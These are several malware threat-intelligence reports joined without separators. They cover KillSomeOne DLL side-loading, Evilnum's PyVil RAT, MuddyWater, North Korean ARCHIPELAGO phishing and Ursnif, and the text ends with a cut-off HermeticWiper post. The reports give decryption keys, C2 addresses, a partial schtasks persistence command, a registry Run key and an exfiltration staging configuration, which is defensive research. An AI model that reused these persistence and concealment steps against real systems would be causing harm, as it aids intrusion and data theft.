**Components** - Aug.exe: clean loader (originally MsMpEng.exe, a Microsoft antivirus component) - mpsvc.dll: malicious loader - Groza_1.dat: encrypted payload The main code of the attack is in mpsvc.dll’s exported function ServiceCrtMain. That function loads and decrypts the final payload, stored in the file Groza_1.dat. The encryption is a simple XOR algorithm, where the key is the following string: *Hapenexx is very bad*. While analyzing the binary for the loader used in this attack type, we found the following PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\msvcp\Release\mpsvc.pdb* ### Scenario 2 **Components** - AUG.exe: clean loader (renamed Microsoft DISM.EXE) - dismcore.dll: malicious loader - Groza_1.dat: encrypted payload The loader has the following PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\msvcp\Release\DismCore.pdb* The main code is in the exported function DllGetClassObject. It uses the same payload name (Groza_1.dat) and password (Hapenexx is very bad) as the first case, only this time both the file name and the decryption key are themselves encrypted with a one-byte XOR algorithm. In both of these cases, the payload is stored in the file named Groza_1.dat. The content of that file is a PE loader shellcode, which decrypts the final payload, loads it into memory, and executes it. The first layer of the loader code contains an unused string: *AmericanUSA*. The final payload is a DLL file that has the PDB path: *C:\Users\guss\Desktop\Recent Work\UDP SHELL\0.7 DLL\UDPDLL\Release\UDPDLL.pdb* The DLL is a simple remote command shell, connecting back to a server with the IP address 160.20.147.254 on port 9999. The code contains a string that is used to generate a key to decrypt the content of data received from the command and control server: *Happiness is a way station between too much and too little.* ## More ways to KillSomeone The other two observed types of KillSomeOne DLL side-loading deliver a fairly sophisticated installer for the simple shell—one that establishes persistence and does the housekeeping required to conceal the malware and prepare file space for collecting data. While they carry different payload files (adobe.dat in one case, and x32bridge.dat in the other), the executables derived from these two files are essentially the same; both have the PDB path: *C:\Users\guss\Desktop\Recent Work\U\U_P\KilllSomeOne\0.1\Function_hex\hex\Release\hex.pdb* ### Scenario 3 **Components** - SafeGuard.exe: clean loader (Adobe component) - hex.dll: malicious loader - adobe.dat: encrypted payload The malicious loader loads the payload from the file named adobe.dat and uses a similar XOR decryption to that used in Scenario 1. The only significant difference is the encryption key, which in this case is the string *HELLO_USA_PRISIDENT*. ### Scenario 4 **Components** - Mediae.exe: clean loader - x32dbg.exe: clean loader - msvcp120.dll: clean DLL (dependency of x32dbg) - msvcr120.dll: clean DLL (dependency of x32dbg) - x32bridge.dll: malicious loader - x32bridge.dat: payload In Scenario 4, the PDB path of the loader is changed to: *C:\Users\B\Desktop\0.1\major\UP_1\Release\functionhex.pdb* The main code is in the exported function BridgeInit. The payload is stored in the file x32bridge.dat and is encoded with a XOR algorithm, the key is the same as in case 3—*HELLO_USA_PRISIDENT*. ## I think I smell a rat The initial stage extracted from the two payload files in both these scenarios is the installer, which is loaded into memory from the .dat file by the initial malicious DLL. When loaded, it drops all components for another DLL side-loading case to several directories: - C:\ProgramData\UsersData\Windows_NT\Windows\User\Desktop - C:\Users\All Users\UsersData\Windows_NT\Windows\User\Desktop - %PROFILE%\Users - C:\Users\Public\Public Media The installer also assigns the files the “hidden” and “system” attributes to conceal them from users. Some of the components dropped by the KillSomeOne installer payload. The installer then closes the executable used in the initial stage of the attack and starts a new instance of explorer.exe to side-load the dropped DLL component. This is an effort to conceal the execution since the targeted system’s process list will only show another explorer.exe process (and not the renamed clean executable, which might stand out upon examination). The installer also looks for a running process with a name starting with “AAM,” then kills the process and deletes the file associated with it in C:\ProgramData and C:\Users\All Users. This is likely because earlier PlugX side-loading scenarios used the clean file name “AAM Updates.exe,” and this mechanism removes earlier infections. It also takes several steps to ensure persistence, including the creation of a task that executes the side-loading executable that began the deployment: `schtasks /create /sc minute /mo 5 /tn LKUFORYOU_1 /tr` Additionally, it creates a registry auto-run key that does the same thing: `Software\Microsoft\Windows\CurrentVersion\Run\SafeGuard` The side-loaded DLL uses an event name to identify itself when running—LKU_Test_0.1 if running from C:\ProgramData, or LKU_Test_0.2 if running from %USERHOME%. The installer also configures the system for data exfiltration. On removable and non-system drives, it creates a desktop.ini file with settings to create a folder to the “Recycle Bin” type: ``` [.ShellClassInfo] CLSID={645FF040-5081-101B-9F08-00AA002F954E} IconResource=%systemroot%\system32\SHELL32.dll,7 ``` It then copies files to the Recycle Bin on the drive in the subfolder ‘files,’ and also collects system information, including volume names and free disk space. Lastly, it copies all the .dat files dropped—including those used in the other side-loading scenarios—into the installation directories. Then the installer loads akm.dat, the file containing the next payload—the loader. The loader is a simple DLL file, which, unlike the rest of the payloads, is not encrypted. It is a plain Windows PE file with a single export name, Start—the main function in the DLL, which builds a command line with the location of AUG.exe (the renamed Microsoft DISM.EXE): `c:\programdata\usersdate\windows_nt\windows\user\desktop\AUG.exe` Then it executes the command line, which would invoke side-loading scenario 1 or 2. ## Mixed signals The types of perpetrators behind targeted attacks in general are not a homogeneous pool. They come with very different skill sets and capabilities. Some of them are highly skilled, while others don’t have skills that exceed the level of average cybercriminals. The group responsible for the attacks we investigated in this report don’t clearly fall on either end of the spectrum. They moved to more simple implementations in coding—especially in encrypting the payload—and the messages hidden in their samples are on the level of script kiddies. On the other hand, the targeting and deployment is that of a serious APT group. Based on our analysis, it’s not clear whether this group will go back to more traditional implants like PlugX or keep going with their own code. We will continue to monitor their activity to track their further evolution. SophosLabs would like to acknowledge the contributions of Mark Loman and Vikas Singh to this report.
# No Rest for the Wicked: Evilnum Unleashes PyVil RAT **Written By** Cybereason Nocturnus September 3, 2020 | 9 minute read Over the course of the last few months, the Cybereason Nocturnus team has been investigating the activity of the Evilnum group. The group first emerged in 2018, and since then, Evilnum’s activity has been varied, with recent reports using different components written in Javascript and C# as well as tools bought from the Malware-as-a-Service provider Golden Chickens. The group’s operations appear to be highly targeted, as opposed to a widespread phishing operation, with a focus on the FinTech market by way of abusing the Know Your Customer regulations (KYC), documents with information provided by clients when business is undertaken. Since its first discovery, the group’s mainly targeted different companies across the UK and EU. In recent weeks, the Nocturnus team has observed new activity by the group, including several notable changes from tactics observed previously. These variations include a change in the chain of infection and persistence, new infrastructure that is expanding over time, and the use of a new Python-scripted Remote Access Trojan (RAT) Nocturnus dubbed PyVil RAT. PyVil RAT possesses different functionalities, and enables the attackers to exfiltrate data, perform keylogging and the taking of screenshots, and the deployment of more tools such as LaZagne in order to steal credentials. ## Key Findings - **Evilnum**: The Cybereason Nocturnus team is tracking the operations of the Evilnum group, which has been active for the past two years, using a variety of tools. - **Targeting the Financial Sector**: The group is known to target FinTech companies, and is abusing the usage of the Know Your Customer (KYC) procedure in order to start the infection. - **New Tricks**: In this research, we see a deviation from the infection chain, persistence, infrastructure, and tools observed previously, including: - Modified versions of legitimate executables employed in an attempt to remain undetected by security tools. - Infection chain shift from a JavaScript Trojan with backdoor capabilities to a multi-process delivery procedure of the payload. - A newly discovered Python-scripted RAT dubbed PyVil RAT that was compiled with py2exe, which has the capability to download new modules to expand functionality. ## Overview of the Group The Evilnum group has been reported to target financial technology companies, mostly located in the UK and other EU countries. The main goal of the group is to spy on its infected targets and steal information such as passwords, documents, browser cookies, email credentials, and more. Aside from the group’s own proprietary tools, Evilnum has been observed deploying Golden Chickens tools in some cases, as reported in the past. Golden Chickens is a Malware-as-a-Service (MaaS) provider that is known to have been used by groups such as FIN6 and Cobalt Group. Among the tools used by the Evilnum group are More_eggs, TerraPreter, TerraStealer, and TerraTV. The Evilnum group’s activity was first identified in 2018, when they used the first version of their infamous JavaScript Trojan. The script extracts C2 addresses from sites like GitHub, DigitalPoint, and Reddit by querying specific pages created for this purpose. This technique enables the attackers to change the C2 address of deployed agents easily while keeping the communications masked as requests are made to legitimate known sites. Since then, the group has been mentioned several times in different attacks, each time upgrading its toolset with new capabilities as well as adding new tools to the group’s arsenal. The initial infection vector of Evilnum typically begins with spear phishing emails, with the goal of delivering ZIP archives that contain LNK files masquerading as photos of different documents such as driving licenses, credit cards, and utility bills. These documents are likely to be stolen and belong to real individuals. Once an LNK file is opened, it deploys the JavaScript Trojan, which in turn replaces the LNK file with a real image file, making this whole operation invisible to the user. Up to this date, as described in this publication, six different iterations of the JavaScript trojan have been observed in the wild, each with small changes that don’t alter the core functionality. The JavaScript agent has functionalities such as upload and download files, steal cookies, collect antivirus information, execute commands, and more. In addition to the JavaScript component, as described in a previous research, the group has been observed deploying a C# Trojan that possesses similar functionality to the former JavaScript component. ## New Infection Chain In the past, Evilnum’s infection chain started with spear phishing emails, delivering zip archives that contain LNK files masquerading as images. These LNK files will drop a JavaScript Trojan with different backdoor capabilities as described above. In recent weeks, we observed a change in this infection procedure: first, instead of delivering four different LNK files in a zip archive that in turn will be replaced by a JPG file, only one file is archived. This LNK file masquerades as a PDF whose content includes several documents, such as utility bills, credit card photos, and Drivers license photos. When the LNK file is executed, as in previous versions, a JavaScript file is written to disk and executed, replacing the LNK file with a PDF. Unlike previous versions that possessed an array of functionalities, this version of the JavaScript acts mainly as a dropper and lacks any C2 communication capabilities. This JavaScript is the first stage in this new infection chain, culminating with the delivery of the payload, a Python-written RAT compiled with py2exe that Nocturnus researchers dubbed PyVil RAT. In Cybereason, we are able to view the process tree and the extraction of the JavaScript from the LNK file. The JavaScript is extracted by outputting all lines that contain the string “END2” (commented out in the script) to a file named “0.js” in the temp folder and the LNK is copied to the temp folder as “1.lnk”. After the script replaces the LNK file with the real PDF, the JS file is copied to “%localappdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js” and is executed again. In this second execution of the script, an executable file named “ddpp.exe” that is embedded inside the LNK file is extracted and saved to “%localappdata%\Microsoft\Credentials\MediaPlayer\ddpp.exe”. Unlike previous versions where the malware used the Run registry key for persistence, in this new version, a scheduled task named “Dolby Selector Task” for ddpp.exe is created instead. With this scheduled task, the second stage of retrieving the payload begins. The ddpp.exe executable appears to be a version of “Java(™) Web Start Launcher” modified to execute malicious code. When comparing the malware executable with the original Oracle executable, we can see the similar metadata between the files. The major difference at first sight is that the original Oracle executable is signed, while the malware is not. According to Intezer engine, there is a huge amount of shared code between the malware executable and the legitimate Oracle Corporation file. ### ddpp.exe Functionality The ddpp.exe executable functions as a downloader for the next stages of the infection. It is executed by the scheduled task with three arguments: - The encoded UUID of the infected machine - An encoded list of installed Anti-virus products - The number 0 When ddpp.exe is executed, it unpacks shellcode. The shellcode connects to the C2 using a GET request, sending in the URI the three parameters received that were described above. In turn, the malware receives back another encrypted executable, which is saved to disk as “fplayer.exe” and is executed using a new scheduled task. fplayer.exe functions as another downloader. The downloaded payload is then loaded by fplayer.exe to memory and serves as a fileless RAT. The file is saved in “%localappdata%\microsoft\media player\player\fplayer.exe” and is executed with a scheduled task named “Adobe Update Task”. Fplayer.exe is executed with several arguments as well: - The encoded UUID of the infected machine - Three arguments that will be used by the PyVil RAT at a later stage: - “-m”: The name of the scheduled task - “-f”: tells the PyVil RAT to parse the rest of the arguments - “-t”: update the scheduled task Similarly to ddpp.exe, fplayer.exe appears to be a modified version of “Stereoscopic 3D driver Installer”. In here as well, we can see the similar metadata between the files with the difference being that the original Nvidia executable is signed, while the malware is not. When fplayer.exe is executed, it also unpacks shellcode. The shellcode connects to the C2 using a GET request, this time sending in the URI only the encoded UUID. fplayer.exe was observed to receive another encrypted executable, which is saved as ‘%localappdata%\Microsoft\Media Player\Player\devAHJE.tmp’. The process decrypts the received executable and maps it to memory, passing it the execution. ## PyVil: A New Python RAT The Python code inside the py2exe is obfuscated with extra layers, in order to prevent decompilation of the payload using existing tools. Using a memory dump, we were able to extract the first layer of Python code. The first piece of code decodes and decompresses the second layer of Python code. The PyVil RAT has several functionalities including: - Keylogger - Running cmd commands - Taking screenshots - Downloading more Python scripts for additional functionality - Dropping and uploading executables - Opening an SSH shell - Collecting information such as: - Anti-virus products installed - USB devices connected - Chrome version PyVil RAT’s global variables give a clear understanding of the malware’s capabilities. PyVil RAT has a configuration module that holds the malware’s version, C2 domains, and user agents to use when communicating with the C2. PyVil RAT’s C2 communications are done via POST HTTP requests and are RC4 encrypted using a hardcoded key encoded with base64. This encrypted data contains a JSON of different data collected from the machine and configuration. ### Fields used in C2 communication - **type**: Not clear - **xmode**: Not clear - **req_type**: Request type - **svc_ver**: Malware version in the configuration - **ext_ver**: A version of an executable the malware may download (-2 means the executables folder does not exist) - **ext_exists**: Checks for the existence of a particular executable - **svc_name**: Appears to be a name used to identify the malware by the C2. - **ext_uuid**: Encoded machine UUID - **svc_uuid**: machine UUID - **host**: Hostname - **uname**: User name - **ia**: Is user admin - **wv**: Windows version - **dt**: Current date and time - **avs**: List of installed anti-virus products - **gc**: Dictionary of different configuration - **sc_secs_min**: Minimum sleep time between sending screenshots - **sc_secs_max**: Maximum sleep time between sending screenshots - **kl_secs_min**: Minimum sleep time between sending keylogging data - **kl_secs_max**: Maximum sleep time between sending keylogging data - **kl_run**: Is keylogger activated - **klr**: Is keylogger activated - **tc**: Is USB connected - **cr**: Is chrome.exe running - **ct**: Type of downloaded module to run: executable or Python module - **cn**: Module name corresponding to “ct” - **imp**: Execute the downloaded module (corresponds with “ct”) - **pwds**: Extracted passwords - **cooks**: Cookies information During the analysis of PyVil RAT, on several occasions, the malware received from the C2 a new Python module to execute. This Python module is a custom version of the LaZagne Project which the Evilnum group has used in the past. The script will try to dump passwords and collect cookie information to send to the C2. ## Expanding Infrastructure In previous campaigns of the group, Evilnum’s tools avoided using domains in communications with the C2, only using IP addresses. In recent weeks, we encountered an interesting trend with Evilnum’s growing infrastructure. By tracking Evilnum’s new infrastructure that the group has built in the past few weeks, a trend of expansion can be seen. While the C2 IP address changes every few weeks, the list of domains associated with this IP address keeps growing. A few weeks ago, three domains associated with the malware were resolved to the same IP address: - crm-domain[.]net: 5.206.227[.]81 - telecomwl[.]com - leads-management[.]net Shortly thereafter, the C2 IP address of all three domains changed. In addition, three new domains were registered with the same IP address and were used by the malware: - crm-domain[.]net: 185.236.230[.]25 - telecomwl[.]com - leads-management[.]net - voipssupport[.]com - voipasst[.]com - voipreq12[.]com A few weeks later, this change occurred again. The resolution address of all domains changed in the span of a few days, with the addition of three new domains: - crm-domain[.]net: 193.56.28[.]201 - telecomwl[.]com - leads-management[.]net - voipssupport[.]com - voipasst[.]com - voipreq12[.]com - telefx[.]net - fxmt4x[.]com - xlmfx[.]com ## Conclusion In this write-up, we examined a new infection chain by the Evilnum group - threat actors who have started to make a name for themselves. Since the first reports in 2018 through today, the group’s TTPs have evolved with different tools while the group has continued to focus on FinTech targets. The Evilnum group employed different types of tools along its career, including JavaScript and C# Trojans, malware bought from the malware-as-a-service Golden Chickens, and other existing Python tools. With all these different changes, the primary method of gaining initial access to their FinTech targets stayed the same: using fake Know Your Customer (KYC) documents to trick employees of the finance industry to trigger the malware. In recent weeks we observed a significant change in the infection procedure of the group, moving away from the JavaScript backdoor capabilities, instead utilizing it as a first stage dropper for new tools down the line. During the infection stage, Evilnum utilized modified versions of legitimate executables in an attempt to stay stealthy and remain undetected by security tools. The group deployed a new type of Python RAT that Nocturnus researchers dubbed PyVil RAT which possesses abilities to gather information, take screenshots, keylog data, open an SSH shell, and deploy new tools. These tools can be a Python module such as LaZagne or an executable, thus adding more functionality for the attack as required. This innovation in tactics and tools is what allowed the group to stay under the radar, and we expect to see more in the future as the Evilnum group’s arsenal continues to grow. ## Mitre ATT&CK BREAKDOWN - **Initial Access**: Spearphishing Link - **Execution**: User Execution - **Persistence**: Scheduled Task - **Privilege Escalation**: Deobfuscate/Decode Files or Information - **Defense Evasion**: Masquerading, Obfuscated Files or Information - **Credential Access**: Credentials from Password Stores, Credentials from Web Browsers - **Discovery**: Process Discovery, Security Software Discovery - **Collection**: Keylogging, Screen Capture - **Command and Control**: Data Encoding, Exfiltration Over C2 Channel ## INDICATORS OF COMPROMISE **Tom Fakterman** Tom Fakterman, Cyber Security Analyst with the Cybereason Nocturnus Research Team, specializes in protecting critical networks and incident response. Tom has experience in researching malware, computer forensics, and developing scripts and tools for automated cyber investigations. **About the Author** The Cybereason Nocturnus Team has brought the world’s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks.
# 'MuddyWater' Spies Suspected in Attacks Against Middle East Governments, Telecoms One of the most prolific cyber-espionage groups linked to Iran has used old tricks — and perhaps a new hacking tool — in dozens of attempts to breach government and telecommunications operators in the Middle East in recent months, security researchers said Wednesday. The hacking attempts have hit organizations in Iraq, Kuwait, Turkey, and the United Arab Emirates, according to researchers at security provider Symantec. Iran has strategic interests in all of those countries. The attackers appear to be trying to smuggle key data from the organizations they managed to breach. It’s a reminder that while other hacking teams associated with Tehran have gained notoriety for disruptive, data-wiping attacks against Middle East organizations, the group known as MuddyWater, or Seedworm, is better known for its relentless spying efforts. “These actors are extremely focused in what they’re doing,” said Vikram Thakur, technical director at Symantec, a division of semiconductor and software maker Broadcom. “They’re not using zero days. They’re just looking for commonly available methods along with their custom malware to get into these environments, exfiltrate whatever they want and then move on.” Researchers from Symantec and other security companies are investigating a new hacking tool they suspect MuddyWater has been using in the compromises. Known as PowGoop, the malicious code can install other programs capable of siphoning data off of networks. “It could be a subgroup within [MuddyWater] which has been tasked differently” from the rest of the group, Thakur said of the PowGoop tool. While Symantec said it had “medium confidence” that MuddyWater was behind PowGoop, there were other signs that the group has been developing new tools. “MuddyWater has been very active in the last year, both in its prolific operations and constant development of tools,” said Saher Naumaan, senior threat intelligence analyst at BAE Systems. “One significant evolution is the group’s advancements in malware, which over the years has shifted away from solely scripting-based tooling, such as PowerShell, to .NET and now to custom C++ payloads, as seen with Backdoor.Mori,” added Naumaan, who closely tracks hackers associated with Iran. MuddyWater’s recent activity is in keeping with its reputation for prolific hacking campaigns. From September to December 2018, for example, the group compromised 131 victims in 30 organizations all over the map, from Russia to Saudi Arabia to North America, Symantec said in previous research. MuddyWater has so far avoided the extra scrutiny that comes from public U.S. indictments. It was not among the alleged Iranian hackers who were indicted last month by U.S. grand juries. And while security companies continue to expose MuddyWater’s tools, the group shows no signs of letting up.
# How Google is Protecting Users from North Korean Hackers **Adam Weidemann** **April 5, 2023** **Threat Analysis Group** As part of Threat Analysis Group (TAG)’s mission to counter serious threats to Google and our users, TAG has been tracking government-backed hacking activity tied to North Korea for over a decade. Today, as a follow-up to Mandiant’s report on APT43, we are sharing TAG's observations on this actor and what Google is doing to protect users from this group and other government-backed attackers. Because TAG’s visibility into this actor is distinct from Mandiant’s, TAG uses the name ARCHIPELAGO to track a subset of APT43 activity. TAG began tracking ARCHIPELAGO in 2012 and has observed the group target individuals with expertise in North Korea policy issues such as sanctions, human rights, and non-proliferation issues. These targets include Google and non-Google accounts belonging to government and military personnel, think tanks, policymakers, academics, and researchers in South Korea, the US, and elsewhere. To safeguard users at risk, TAG uses our research on serious threat actors like ARCHIPELAGO to improve the safety and security of Google’s products. TAG adds newly discovered malicious websites and domains to Safe Browsing to protect users from further exploitation. We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity. We encourage potential targets to enroll in Google's Advanced Protection Program, enable Enhanced Safe Browsing for Chrome, and ensure that all devices are updated. ## ARCHIPELAGO Phishing: Persistent and Targeted ARCHIPELAGO often sends phishing emails where they pose as a representative of a media outlet or think tank and ask North Korea experts to participate in a media interview or request for information (RFI). The emails prompt recipients to click a link to view the interview questions or RFI. When the recipient clicks, the link redirects to a phishing site that masquerades as a login prompt. The phishing page records keystrokes entered into the login form and sends them to an attacker-controlled URL. After the recipient enters their password, the phishing page redirects to a benign document with contextually appropriate interview questions or an RFI that would make sense to the recipient based on the content of the original phishing email. ARCHIPELAGO invests time and effort to build rapport with targets, often corresponding with them by email over several days or weeks before finally sending a malicious link or file. In one case, the group posed as a journalist for a South Korean news agency and sent benign emails with an interview request to North Korea experts. When recipients replied expressing interest in an interview, ARCHIPELAGO continued the correspondence over several emails before finally sending a OneDrive link to a password-protected file that contained malware. ARCHIPELAGO has also sent links that lead to “browser-in-the-browser” phishing pages. The phishing pages present users with a fake browser window rendered inside the actual browser window. The fake browser window displays a URL and a login prompt designed to trick users into thinking they are entering their password into a legitimate login page. ## Shifting Phishing Tactics ARCHIPELAGO has shifted their phishing tactics over time. For several years, they sent typical phishing messages that posed as Google Account security alerts. Over time this technique became less successful, and ARCHIPELAGO has evolved and experimented with new phishing that might be more difficult for users and common security controls to catch. One example of ARCHIPELAGO’s shifting phishing techniques is a campaign in late 2022 where they sent links to a benign PDF file hosted in OneDrive. The PDF claimed to be a message from the State Department Federal Credit Union notifying customers they detected malicious logins from their Google Account and that the customer should click the link in the PDF to verify activity from their Gmail account. If clicked, the link directed recipients to a phishing page. ARCHIPELAGO created unique PDFs for each recipient so that when the recipient clicked, the phishing page was pre-populated with the recipient’s email address. By placing the phishing link inside a benign PDF hosted on a legitimate cloud hosting service, ARCHIPELAGO was likely trying to evade detection by AV services that do not scan links inside files. ## Malware Operations For several years, ARCHIPELAGO focused on conducting traditional credential phishing campaigns. More recently, TAG has observed ARCHIPELAGO incorporate malware into more of their operations, including efforts to evade detection and develop novel malware techniques. To protect their malware from AV scanning, ARCHIPELAGO commonly password-protects their malware and shares the password with recipients in a phishing email. ARCHIPELAGO has experimented with their malware over time, including using novel malware delivery techniques. In 2020, they began testing a then-new technique with files they hosted on Google Drive. ARCHIPELAGO encoded malicious payloads in the filenames of files hosted on Drive, while the files themselves contained zero bytes of content. They also used Drive file names for C2, placing encoded commands in file names. Security researchers at Huntress and IssueMakersLab publicly reported on this technique. Google took action to disrupt ARCHIPELAGO’s use of Drive file names to encode malware payloads and commands. The group has since discontinued their use of this technique on Drive. ARCHIPELAGO has also attempted to deliver malware via Drive using ISO files, a file format that has gained popularity among threat actors ranging from government-backed attackers to financially motivated groups. In one case TAG recently examined, ARCHIPELAGO sent a phishing email with a Drive link to an ISO file, Interview_with_Voice_of_America.iso. The ISO file contained a ZIP, which, in turn, contained a password-protected document. When decrypted, the document installed VBS-based malware related to BabyShark. ## Malicious Chrome Extensions ARCHIPELAGO has also used malicious Chrome extensions in combination with phishing and malware. The earliest versions of these extensions, reported as STOLEN PENCIL in 2018, included functionality to steal usernames, passwords, and browser cookies. They were delivered via phishing emails with a link that directed recipients to a lure document that prompted users to install the malicious Chrome extension. Google has since introduced several changes to the Chrome extension ecosystem, including enhanced transparency through the Chrome Web Store and Manifest V3, that effectively disrupt threat actors from distributing malicious extensions like STOLEN PENCIL via the Chrome Web Store. In 2018, Chrome also made improvements to the extension review process by making extensions that request powerful permissions subject to additional compliance review while also conducting ongoing monitoring of extensions that use remotely hosted code. More recently, ARCHIPELAGO has attempted workarounds to install a new malicious Chrome extension known publicly as SHARPEXT. If successfully installed on a user system, SHARPEXT can parse emails from active Gmail or AOL Mail tabs and exfiltrate them to an attacker-controlled system. As a result of improved security in the Chrome extension ecosystem, ARCHIPELAGO must now complete several additional steps to install the extension, including first successfully installing malware on the user system and then overwriting the Chrome Preferences and Secure Preferences files to allow the extension to run. ## Protecting Against Advanced Threats TAG, in partnership with Mandiant and other security teams across Google, is committed to our mission of understanding and countering advanced threats. We apply our research to ensure Google’s products are secure and our users are safe. For individuals at high risk of this activity and other serious threats, Google provides advanced security resources, including Enhanced Safe Browsing and the Advanced Protection Program. When these tools are used in combination with Google’s Security Checkup, they provide the fastest and strongest level of protection against serious threats.
# Ursnif via LOLbins Ursnif is a variant of the Gozi malware family that has recently been responsible for a growing campaign targeting various entities across North America and Europe. The campaign looks to have started around the 6th of April via a number of domains taking up residence at 8.208.90.28. Overall, 16 domains have been pointed to the IP since the start of the campaign. As of 04/22, these actors have moved their campaign to a new IP: 47.241.106.208. ## Initial Access The particular point of interest in this campaign is the effectiveness of the TTPs at bypassing many security tools. In the delivery stage, the campaign uses compromised email accounts to inject into previous conversations by adding a link and imploring the recipient to check the latest update to the ongoing conversation. The link provided is to a Google Drive account, a trusted entity to users, and often not capable of being blocked in many enterprises. The Google Drive link downloads a password-protected zip file with a JavaScript (JS) file inside. ## Execution Upon execution, the JS file will be executed by Wscript. Wscript then gives way to Regsrv32, which loads a text file into memory. The text file, however, is actually a DLL file that, once loaded into memory, runs under the Regsrv32 process. The use of these infection methods was able to bypass several security layers, including Windows Defender at the time of run, but we witnessed it detect the text DLL and eat the file on disk while missing the running executable in memory. While several infections witnessed during the campaign never moved past beaconing to the Ursnif C2 at 8.208.90.28 with the DLL in memory, some samples proceeded further. ## Persistence For those samples, the following behavior occurred. In the registry location seen referenced below, there could be found more modules for the malware to call upon. ## Command and Control Initial C2 picked up on the following alerts: - ETPRO_TROJAN_Ursnif_Variant_CnC_Beacon_12_M2 8.208.90.28 - ETPRO_TROJAN_Ursnif_Variant_CnC_Beacon_12_M1 8.208.90.28 With the TorClient Registry Binary being confirmed for its namesake after some time: ET_P2P_Tor_Get_Server_Request. After around a 24-hour time passage, Ursnif received new activity with alerts triggering for a VNC module and a new C2 IP. - ETPRO_TROJAN_Possible_Ursnif_VNC_Module_CnC_Beacon 162.244.35.233 This was followed by a flurry of new malware dropped to the system. These turned out to include both Cobalt Strike beacons as well as TVRat (Team Viewer RAT). Cobalt Strike was delivered in the form of 3 DLLs loaded into memory again with the help of run32dll. Meanwhile, TVRat uses the “legitimate” access tool TeamViewer to provide remote access to the attacker. - svcc.exe 99e0fbb8b4d6bbd5fe4eec1530aa51a818d06e245efb2c2fb41199a390a73db8 - 1.exe 497129b7b2a940a812b9f3cf3d1a149d903a4179fc75adaf085e4edba533a7c9 This executable reaches out to many of the various TeamViewer infrastructures. At this point, the Cobalt Strike and TVRat C2 overtook all previous communications. - ETPRO_TROJAN_Cobalt_Strike_Beacon_Observed 23.81.246.22 - ETPRO_TROJAN_Cobalt_Strike_Beacon_Observed 93.190.138.35 - ET_TROJAN_Win32.Spy/TVRat_Checkin 89.39.107.106 ## Action on Objectives This continued for some time, but we did not witness final actions on objectives from the actors. ## Conclusion Based on the actors' capability to bypass security controls and the pivot to new IP infrastructure, we expect this campaign to continue for some time. We recommend paying close attention to AV alerts tied to files that you wouldn’t normally expect AV alerts (like text files). Ensure your network signatures are up to date and monitored, as these threats tend to use default or known configurations that are quite noisy if someone is listening. ## IOC’s - open_attach_a1i#793032.zip | 8a1ffc3ea2280f34f91df70ef538880b - 8a1ffc3ea2280f34f91df70ef538880b - a5d8c89c49ae8d02cc1e6c32a223e0c00b3e6bf1 - 3440bc915d40d1bcab8d5ef946d18fe10419385559689ebf2ba36c9eae61faaf - XikFYehxR.txt | d819173a8babdf625c2774bbf17ed710 - 629e79904edfcbede3e7d4ff9240c8571d8e2291 - 588058cd3661c48b372ad870ce3e03af62e61ffd917355895ac8342736704673 - n.dll | 334fc19e4c1358d0979c0a74a321278e - aed74cbba6a3da72d16a205b2893865eddc2e936 - 28b935ba6987b2784a654951d304ff2e86367b064d1a9201215892fe547b0d9a - artc.dll | 1d6869199813a9090478312c2ec13ec9 - 011e7948dc760e8c4d5f7a41bb037e9cabc1e262 - d2ac48ba8a476cd6166a0c35ebe276d136b1b82e865560b2564f39b5c7f3a3a9 - 08f3b51c8493c5ed8948ab35c956a465e0043094248d2f27a5d8fa9a696e3cbf - 284afda4ceda3880864bf692f153ab0354ca7359 - ldr.exe | fc22d0c3f15c763ccf1a5f56f35b795f - Authtdvr.ps1 | 009b53fffb404e7b0dd1479617e967b9 - 742d5399415e96bfe1a2dfd9af3b9e3cb8d8000c - 915ff83ab8e1a4ad1e9e63ea84bab24e36b88f9264c42085569786079232ff75 - peuhop32.exe | 897b07feeb22f8de7378740c33052f1c - e75260f9347068d26714f99719b5e65d7316f5e7 - a59d6490e8bb757d08ae3e0e800cc8b1b3d90b960e10d6ca46166a450111505a - nww.dll | 334fc19e4c1358d0979c0a74a321278e - aed74cbba6a3da72d16a205b2893865eddc2e936 - 28b935ba6987b2784a654951d304ff2e86367b064d1a9201215892fe547b0d9a - atr.dll | 1d6869199813a9090478312c2ec13ec9 - 011e7948dc760e8c4d5f7a41bb037e9cabc1e262 - d2ac48ba8a476cd6166a0c35ebe276d136b1b82e865560b2564f39b5c7f3a3a9 - QaBJCQJnsODD.txt | d819173a8babdf625c2774bbf17ed710 - 629e79904edfcbede3e7d4ff9240c8571d8e2291 - 588058cd3661c48b372ad870ce3e03af62e61ffd917355895ac8342736704673 - CHxRrver | 48e81fc9a95c810651d1b5a45fc135d5 - 982ff97a4325f1707815e6ccb6962decd2df75be - 926f8cab4714fda8068d877c2daa79c2b8ea3a91cdc146bd3926f8dff8a20b59 **IP Addresses:** - 8.208.90.28 - 47.241.106.208 - 162.244.35.233 - 89.39.107.106 - 23.81.246.22 - 93.190.138.35
# Threat Thursday: HermeticWiper Targets Defense Sectors in Ukraine **The BlackBerry Research & Intelligence Team** ## New Disk Wiper Malware Hits Hundreds of Ukrainian Computers In addition to suffering a full-scale military invasion in recent weeks, Ukraine is also being subjected to numerous cyberattacks aimed at crippling its organizations and digital infrastructure. One of the latest of these is HermeticWiper, a new data wiper malware that targets infrastructure and defense sectors in Ukraine, with additional reports of compromised systems coming from Lithuania and Latvia. HermeticWiper shares some similarities with the recently discovered WhisperGate malware, in that it appears to function solely as a tool for destruction. After wiping the victim’s disk, it then targets the Master Boot Record (MBR) before forcing a reboot, resulting in a total boot failure and rendering the system inoperable. First reported in a tweet by ESET Research on February 23rd, 2022, the threat intelligence community subsequently named the new malware HermeticWiper, a reference to two of its main activities. The wiper first hijacks a valid code-signing certificate from Hermetica Digital Ltd. to gain the victim’s trust. It then uses a legitimate disk recovery program from EaseUS Data Recovery Wizard, packed by the threat authors as a driver, to overwrite data in the victim’s Master Boot Record (MBR) and thus corrupt the file system. A decoy ransomware component has also been reported on some systems affected by HermeticWiper, to distract the victim while the main functionality occurs. ## Operating System Risk & Impact ### Technical Analysis #### Wiper Overview In this blog, BlackBerry 